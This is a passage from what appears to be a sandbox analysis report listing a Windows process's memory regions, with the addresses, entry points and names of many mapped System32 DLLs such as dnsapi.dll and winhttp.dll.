"c:\\windows\\system32\\hnetcfg.dll") Region: id = 1021 start_va = 0x7ffa08460000 end_va = 0x7ffa08475fff monitored = 0 entry_point = 0x7ffa08461af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 1022 start_va = 0x7ffa08480000 end_va = 0x7ffa08499fff monitored = 0 entry_point = 0x7ffa08482330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 1023 start_va = 0x7ffa088d0000 end_va = 0x7ffa08915fff monitored = 0 entry_point = 0x7ffa088d79a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 1024 start_va = 0x7ffa08940000 end_va = 0x7ffa0894efff monitored = 0 entry_point = 0x7ffa08944960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1025 start_va = 0x7ffa08a00000 end_va = 0x7ffa08a0bfff monitored = 0 entry_point = 0x7ffa08a035c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1026 start_va = 0x7ffa08a10000 end_va = 0x7ffa08a4ffff monitored = 0 entry_point = 0x7ffa08a1cbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 1027 start_va = 0x7ffa08a50000 end_va = 0x7ffa08a96fff monitored = 0 entry_point = 0x7ffa08a51d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 1028 start_va = 0x7ffa08ae0000 end_va = 0x7ffa08b21fff monitored = 0 entry_point = 0x7ffa08ae3670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1029 start_va = 0x7ffa08e00000 end_va = 0x7ffa08e1efff monitored = 0 entry_point = 0x7ffa08e037e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 1030 start_va = 0x7ffa08e20000 end_va = 0x7ffa08e98fff monitored = 0 entry_point = 0x7ffa08e276a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 1031 start_va = 0x7ffa08eb0000 end_va = 0x7ffa08eeffff monitored = 0 entry_point = 0x7ffa08ec6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1032 start_va = 0x7ffa08f10000 end_va = 0x7ffa08f27fff monitored = 0 entry_point = 0x7ffa08f14e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 1033 start_va = 0x7ffa08f30000 end_va = 0x7ffa08f54fff monitored = 0 entry_point = 0x7ffa08f35ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 1034 start_va = 0x7ffa08f60000 end_va = 0x7ffa090e1fff monitored = 0 entry_point = 0x7ffa08f782a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1035 start_va = 0x7ffa090f0000 end_va = 0x7ffa09192fff monitored = 0 entry_point = 0x7ffa090f2c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1036 start_va = 0x7ffa091a0000 end_va = 0x7ffa091f1fff monitored = 0 entry_point = 0x7ffa091a5770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1037 start_va = 0x7ffa09200000 end_va = 0x7ffa0922dfff monitored = 1 entry_point = 0x7ffa09202300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 1038 start_va = 0x7ffa09230000 end_va = 0x7ffa0928dfff monitored = 0 entry_point = 0x7ffa09235080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 1039 start_va = 0x7ffa09290000 end_va = 0x7ffa092affff monitored = 0 entry_point = 0x7ffa09291f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 1040 start_va = 0x7ffa092b0000 end_va = 0x7ffa092b8fff monitored = 0 entry_point = 0x7ffa092b18f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 1041 start_va = 0x7ffa092c0000 end_va = 0x7ffa092d0fff monitored = 0 entry_point = 0x7ffa092c1d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1042 start_va = 0x7ffa09330000 end_va = 0x7ffa09347fff monitored = 0 entry_point = 0x7ffa09332000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1043 start_va = 0x7ffa09350000 end_va = 0x7ffa09390fff monitored = 0 entry_point = 0x7ffa09353750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1044 start_va = 0x7ffa09430000 end_va = 0x7ffa0947bfff monitored = 0 entry_point = 0x7ffa09445310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1045 start_va = 0x7ffa09490000 end_va = 0x7ffa0950efff monitored = 0 entry_point = 0x7ffa094a7110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1046 start_va = 0x7ffa09510000 end_va = 0x7ffa0954bfff monitored = 0 entry_point = 0x7ffa09516aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1047 start_va = 0x7ffa09c80000 end_va = 0x7ffa09c88fff monitored = 0 entry_point = 0x7ffa09c821d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 1048 start_va = 0x7ffa09c90000 end_va = 0x7ffa09cc4fff monitored = 0 entry_point = 0x7ffa09c9a270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 1049 start_va = 0x7ffa0a560000 end_va = 0x7ffa0a652fff monitored = 0 entry_point = 0x7ffa0a585d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1050 start_va = 0x7ffa0ac50000 end_va = 0x7ffa0ac59fff monitored = 0 entry_point = 0x7ffa0ac514c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1051 start_va = 0x7ffa0afc0000 end_va = 0x7ffa0afd1fff monitored = 0 entry_point = 0x7ffa0afc3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1052 start_va = 0x7ffa0b050000 end_va = 0x7ffa0b06afff monitored = 0 entry_point = 0x7ffa0b051040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 1053 start_va = 0x7ffa0b300000 end_va = 0x7ffa0b314fff monitored = 0 entry_point = 0x7ffa0b302dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 1054 start_va = 0x7ffa0b320000 end_va = 0x7ffa0b32dfff monitored = 0 entry_point = 0x7ffa0b321460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1055 start_va = 0x7ffa0b330000 end_va = 0x7ffa0b33bfff monitored = 0 entry_point = 0x7ffa0b332830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 1056 start_va = 0x7ffa0b340000 end_va = 0x7ffa0b34ffff monitored = 0 entry_point = 0x7ffa0b341700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 1057 start_va = 0x7ffa0b350000 end_va = 0x7ffa0b358fff monitored = 0 entry_point = 0x7ffa0b351ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 1058 start_va = 0x7ffa0b360000 end_va = 0x7ffa0b38cfff monitored = 0 entry_point = 0x7ffa0b362290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 1059 start_va = 0x7ffa0b390000 end_va = 0x7ffa0b3e1fff monitored = 0 entry_point = 0x7ffa0b3938e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 1060 start_va = 0x7ffa0b4a0000 end_va = 0x7ffa0b4b4fff monitored = 0 entry_point = 0x7ffa0b4a3460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 1061 start_va = 0x7ffa0b4c0000 end_va = 0x7ffa0b559fff monitored = 0 entry_point = 0x7ffa0b4dada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1062 start_va = 0x7ffa0b640000 end_va = 0x7ffa0b6a6fff monitored = 0 entry_point = 0x7ffa0b6463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1063 start_va = 0x7ffa0b7a0000 end_va = 0x7ffa0b7aafff monitored = 0 entry_point = 0x7ffa0b7a1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1064 start_va = 0x7ffa0b800000 end_va = 0x7ffa0b8bffff monitored = 0 entry_point = 0x7ffa0b82fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1065 start_va = 0x7ffa0b9f0000 end_va = 0x7ffa0ba09fff monitored = 0 entry_point = 0x7ffa0b9f2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1066 start_va = 0x7ffa0ba10000 end_va = 0x7ffa0ba25fff monitored = 0 entry_point = 0x7ffa0ba119f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1067 start_va = 0x7ffa0baf0000 end_va = 0x7ffa0bb27fff monitored = 0 entry_point = 0x7ffa0bb08cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1068 start_va = 0x7ffa0bbe0000 end_va = 0x7ffa0bc8dfff monitored = 0 entry_point = 0x7ffa0bbf80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 1069 start_va = 0x7ffa0bc90000 end_va = 0x7ffa0bca1fff monitored = 0 entry_point = 0x7ffa0bc99260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 1070 start_va = 0x7ffa0bcb0000 end_va = 0x7ffa0bd60fff monitored = 0 entry_point = 0x7ffa0bd288b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 1071 start_va = 0x7ffa0bd70000 end_va = 0x7ffa0bd83fff monitored = 0 entry_point = 0x7ffa0bd72d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1072 start_va = 0x7ffa0bed0000 end_va = 0x7ffa0bfecfff monitored = 0 entry_point = 0x7ffa0beffe60 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1073 start_va = 0x7ffa0c070000 end_va = 0x7ffa0c102fff monitored = 0 entry_point = 0x7ffa0c079680 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 1074 start_va = 0x7ffa0c2b0000 end_va = 0x7ffa0c2d4fff monitored = 0 entry_point = 0x7ffa0c2c2f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 1075 start_va = 0x7ffa0c2e0000 end_va = 0x7ffa0c2f0fff monitored = 0 entry_point = 0x7ffa0c2e7ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 1076 start_va = 0x7ffa0c300000 end_va = 0x7ffa0c318fff monitored = 0 entry_point = 0x7ffa0c304520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1077 start_va = 0x7ffa0ca80000 end_va = 0x7ffa0ca99fff monitored = 0 entry_point = 0x7ffa0ca82cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 1078 start_va = 0x7ffa0ce40000 end_va = 0x7ffa0d1c1fff monitored = 0 entry_point = 0x7ffa0ce91220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1079 start_va = 0x7ffa0e2c0000 end_va = 0x7ffa0e3cdfff monitored = 0 entry_point = 0x7ffa0e30eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 1080 start_va = 0x7ffa0e6d0000 end_va = 0x7ffa0e724fff monitored = 0 entry_point = 0x7ffa0e6d3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 1081 start_va = 0x7ffa0e730000 end_va = 0x7ffa0e766fff monitored = 0 entry_point = 0x7ffa0e736020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 1082 start_va = 0x7ffa0e770000 end_va = 0x7ffa0e78ffff monitored = 0 entry_point = 0x7ffa0e7739a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 1083 start_va = 0x7ffa0e790000 end_va = 0x7ffa0e7a6fff monitored = 0 entry_point = 0x7ffa0e795630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1084 start_va = 0x7ffa0e7b0000 end_va = 0x7ffa0e7c2fff monitored = 0 entry_point = 0x7ffa0e7b57f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1085 start_va = 0x7ffa0e7d0000 end_va = 0x7ffa0e849fff monitored = 0 entry_point = 0x7ffa0e7f7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1086 start_va = 0x7ffa0e850000 end_va = 0x7ffa0e87dfff monitored = 0 entry_point = 0x7ffa0e857550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1087 start_va = 0x7ffa0e880000 end_va = 0x7ffa0e895fff monitored = 0 entry_point = 0x7ffa0e881b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1088 start_va = 0x7ffa0e8a0000 end_va = 0x7ffa0e903fff monitored = 0 entry_point = 0x7ffa0e8b5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1089 start_va = 0x7ffa0ead0000 end_va = 0x7ffa0eb10fff monitored = 0 entry_point = 0x7ffa0ead4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 1090 start_va = 0x7ffa0eb20000 end_va = 0x7ffa0eb2bfff monitored = 0 entry_point = 0x7ffa0eb214d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 1091 start_va = 0x7ffa0eb30000 end_va = 0x7ffa0ec65fff monitored = 0 entry_point = 0x7ffa0eb5f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1092 start_va = 0x7ffa0ec70000 end_va = 0x7ffa0ed55fff monitored = 0 entry_point = 0x7ffa0ec8cf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 1093 start_va = 0x7ffa0ed60000 end_va = 0x7ffa0ee27fff monitored = 0 entry_point = 0x7ffa0eda13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1094 start_va = 0x7ffa0ee30000 end_va = 0x7ffa0ee90fff monitored = 0 entry_point = 0x7ffa0ee34b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 1095 start_va = 0x7ffa0eea0000 end_va = 0x7ffa0f01bfff monitored = 0 entry_point = 0x7ffa0eef1650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 1096 start_va = 0x7ffa0f020000 end_va = 0x7ffa0f02afff monitored = 0 entry_point = 0x7ffa0f021770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 1097 start_va = 0x7ffa0f030000 end_va = 0x7ffa0f06dfff monitored = 0 entry_point = 0x7ffa0f03a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1098 start_va = 0x7ffa0f070000 end_va = 0x7ffa0f096fff monitored = 0 entry_point = 0x7ffa0f073bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 1099 start_va = 0x7ffa0f0f0000 end_va = 0x7ffa0f144fff monitored = 0 entry_point = 0x7ffa0f0ffc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1100 start_va = 0x7ffa0f190000 end_va = 0x7ffa0f221fff monitored = 0 entry_point = 0x7ffa0f1da780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 1101 start_va = 0x7ffa0f2b0000 end_va = 0x7ffa0f2bcfff monitored = 0 entry_point = 0x7ffa0f2b1420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 1102 start_va = 0x7ffa0f2d0000 end_va = 0x7ffa0f2dffff monitored = 0 entry_point = 0x7ffa0f2d2c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 1103 start_va = 0x7ffa0f2e0000 end_va = 0x7ffa0f2ecfff monitored = 0 entry_point = 0x7ffa0f2e2ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 1104 start_va = 0x7ffa0f2f0000 end_va = 0x7ffa0f31efff monitored = 0 entry_point = 0x7ffa0f2f8910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 1105 start_va = 0x7ffa0f370000 end_va = 0x7ffa0f3ddfff monitored = 0 entry_point = 0x7ffa0f377f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1106 start_va = 0x7ffa0f3e0000 end_va = 0x7ffa0f3f0fff monitored = 0 entry_point = 0x7ffa0f3e3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1107 start_va = 0x7ffa0f430000 end_va = 0x7ffa0f465fff monitored = 0 entry_point = 0x7ffa0f440070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1108 start_va = 0x7ffa0fc30000 end_va = 0x7ffa0fc70fff monitored = 0 entry_point = 0x7ffa0fc47eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1109 start_va = 0x7ffa0fc80000 end_va = 0x7ffa0fd7bfff monitored = 0 entry_point = 0x7ffa0fcb6df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1110 start_va = 0x7ffa0fe10000 end_va = 0x7ffa0fecefff monitored = 0 entry_point = 0x7ffa0fe31c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 1111 start_va = 0x7ffa0ff20000 end_va = 0x7ffa0ff29fff monitored = 0 entry_point = 0x7ffa0ff21660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1112 start_va = 0x7ffa0ff30000 end_va = 0x7ffa0ff47fff monitored = 0 entry_point = 0x7ffa0ff35910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1113 start_va = 0x7ffa0ff50000 end_va = 0x7ffa1009cfff monitored = 0 entry_point = 0x7ffa0ff93da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1114 start_va = 0x7ffa10b10000 end_va = 0x7ffa10b1afff monitored = 0 entry_point = 0x7ffa10b11de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1115 start_va = 0x7ffa10cc0000 end_va = 0x7ffa11152fff monitored = 0 entry_point = 0x7ffa10ccf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1116 start_va = 0x7ffa11160000 end_va = 0x7ffa111c6fff monitored = 0 entry_point = 0x7ffa1117e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 1117 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1118 start_va = 0x7ffa113b0000 end_va = 0x7ffa113cbfff monitored = 0 entry_point = 0x7ffa113b37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1119 start_va = 0x7ffa113d0000 end_va = 0x7ffa113eefff monitored = 0 entry_point = 0x7ffa113d4960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1120 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1121 start_va = 0x7ffa114c0000 end_va = 0x7ffa114c9fff monitored = 0 entry_point = 0x7ffa114c1350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1122 start_va = 0x7ffa11560000 end_va = 0x7ffa1157cfff monitored = 0 entry_point = 0x7ffa11564f60 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 1123 start_va = 0x7ffa11580000 end_va = 0x7ffa115f8fff monitored = 0 entry_point = 0x7ffa1159fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 1124 start_va = 0x7ffa11600000 end_va = 0x7ffa11607fff monitored = 0 entry_point = 0x7ffa116013e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 1125 start_va = 0x7ffa11640000 end_va = 0x7ffa1167ffff monitored = 0 entry_point = 0x7ffa11651960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 1126 start_va = 0x7ffa117d0000 end_va = 0x7ffa117f6fff monitored = 0 entry_point = 0x7ffa117d7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1127 start_va = 0x7ffa11800000 end_va = 0x7ffa118a9fff monitored = 0 entry_point = 0x7ffa11827910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1128 start_va = 0x7ffa118b0000 